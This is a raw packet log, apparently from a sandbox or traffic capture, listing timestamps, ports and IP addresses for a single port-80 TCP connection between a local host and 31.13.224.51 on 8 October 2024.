Oct 8, 2024 02:39:02.082547903 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082597017 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.082761049 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082775116 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082788944 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082806110 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082818985 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.082819939 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082837105 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082842112 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.082854033 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082876921 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.082918882 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082957029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082969904 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082984924 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.082983971 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083002090 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083103895 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083120108 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083132029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083144903 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083173037 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083355904 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083554029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083570004 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083584070 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083597898 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083600044 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083612919 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083621979 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083628893 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083650112 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083724976 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083740950 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083755016 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083764076 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083770037 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083786011 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083792925 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083817959 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083822012 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083837986 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083852053 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083863974 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.083877087 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.083895922 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.164421082 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164452076 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164467096 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164474010 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164480925 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164494991 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164503098 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164510965 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164525032 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164539099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164552927 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164566994 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164582968 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164602041 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.164602041 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.164695024 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164696932 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.164719105 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164733887 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164741993 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.164747953 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164763927 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164777994 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.164786100 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.164803982 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.164975882 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165020943 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165115118 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165128946 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165144920 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165158987 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165173054 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165174007 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165186882 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165196896 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165204048 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165220022 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165235043 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165256023 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165463924 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165478945 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165532112 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165635109 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165647984 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165663004 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165685892 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165692091 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165700912 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165715933 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165728092 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165730000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165745020 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165751934 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165759087 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165774107 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165786028 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165788889 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165803909 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165815115 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.165821075 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.165851116 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166338921 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166353941 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166368008 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166382074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166385889 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166397095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166408062 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166443110 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166486979 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166543007 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166558027 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166569948 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166594028 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166623116 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166726112 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166740894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166754007 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166768074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166781902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166794062 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166795969 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166810989 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166814089 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166825056 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166837931 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166841984 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166852951 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166867018 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166871071 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166881084 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166894913 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.166910887 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.166932106 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.167721987 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.167753935 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.167784929 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.167802095 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.167818069 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.167824030 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.167850018 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.167881012 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.167893887 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.167913914 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.167947054 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.167958021 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.167977095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168009043 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168030024 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.168040991 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168071985 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168083906 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.168103933 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168135881 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168149948 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.168169022 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168200970 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168210983 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.168232918 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168263912 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168275118 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.168828011 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168875933 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.168879032 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168910980 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168942928 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.168953896 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.168976068 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169007063 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169017076 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169038057 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169070005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169078112 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169101954 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169106007 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169133902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169142008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169167042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169198990 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169207096 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169230938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169261932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169270039 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169294119 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169326067 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169332981 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169361115 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169401884 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169615030 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169646978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169677973 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169689894 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169713020 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169744015 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169756889 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169775963 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169806957 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169816971 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169838905 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169869900 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169881105 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169900894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169934034 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169940948 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.169965029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.169997931 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.170006990 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.170030117 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.170074940 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255012035 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255081892 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255095959 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255119085 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255135059 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255150080 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255165100 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255178928 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255194902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255208969 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255225897 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255322933 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255337000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255333900 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255333900 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255333900 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255352020 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255367041 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255438089 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255459070 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255459070 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255486965 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255490065 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255506992 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255522966 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255553007 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255784035 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255799055 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255812883 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255826950 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255836010 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255841970 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255856991 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255857944 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255872965 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255880117 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.255887032 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.255922079 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.256143093 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256158113 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256181002 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256189108 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.256196022 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256211042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256223917 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.256226063 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256241083 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256256104 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256258965 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.256270885 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256279945 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.256319046 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.256656885 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256671906 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256686926 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256700993 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256728888 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.256759882 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.256820917 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256836891 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256850958 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256880999 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.256968021 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256983995 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.256998062 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257011890 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257013083 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257025957 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257030964 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257040977 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257066011 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257081032 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257097006 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257111073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257122993 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257128000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257141113 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257148981 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257183075 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257770061 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257785082 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257798910 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257812977 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257827044 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257839918 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257849932 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257854939 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257869005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257874012 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257884026 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257890940 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257899046 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257906914 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257913113 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257927895 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257929087 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257941961 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257956028 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257971048 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257971048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.257985115 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.257989883 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.258001089 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258027077 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.258716106 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258730888 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258744955 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258759022 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.258759975 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258774042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258780003 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.258790016 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258801937 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258816004 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258816957 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.258831024 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.258840084 CEST	49730	80	192.168.2.4	31.13.224.51
